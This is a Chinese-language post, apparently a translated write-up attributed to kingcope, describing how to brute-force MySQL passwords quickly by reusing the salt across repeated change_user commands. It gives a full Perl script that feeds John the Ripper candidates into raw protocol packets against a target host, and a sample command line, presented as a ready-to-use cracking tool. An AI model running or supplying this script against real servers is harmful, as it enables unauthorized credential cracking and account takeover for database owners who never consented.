快速的 MySQL 本地和遠程密碼破解!首先需要對數據庫維護人員說明的是,不必緊張,你無需修補這個問題,看起來其實是個小錯誤而已。
我找到一個方法可非常高效的破解 MySQL 的用戶密碼,包括本地用戶和通過網絡方式訪問的用戶密碼。在我的測試中,通過網絡方式的方法可每秒鐘測試 5000 個密碼。
方法如下:
攻擊者使用一個無特權帳號登錄到 MySQL 服務器,mysql 有一個名為 change_user 的命令,該命令可用於在 mysql 會話中修改用戶時的名字建議。因為這個命令執行非常快,因此可以很快速的用來破解 mysql 密碼,而不是每次都重新連接到 mysql 服務器。
是什麼導致非常慢?
因為使用 change_user 命令不會更改 SALT(這是一個弱點),而常規破解密碼的方法每次連接時服務器都發送不同的 SALT。
下面是一個 Perl 腳本使用了 John the Ripper 的方法來生成密碼:
測試的用戶是 crackme 密碼為 pass,只需數秒就可破解。
(大約 20 秒鐘可測試 10 萬密碼)
測試腳本如下:01
use Net::MySQL;
02
03
$|=1;
04
05
my $mysql = Net::MySQL->new(
06
hostname => '192.168.2.3',
07
database => 'test',
08
user => "user",
09
password => "secret",
10
debug => 0,
11
);
12
13
$crackuser = "crackme";
14
15
while(<stdin>) {
16
chomp;
17
$currentpass = $_;
18
19
$vv = join "\0",
20
$crackuser,
21
"\x14".
22
Net::MySQL::Password->scramble(
23
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
24
) . "\0";
25
if ($mysql->_execute_command("\x11", $vv) ne undef) {
26
print "[*] Cracked! --> $currentpass\n";
27
exit;
28
}
29
}
下面是我這台機器上的執行結果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.plSession aborted
祝你好運:)
via grok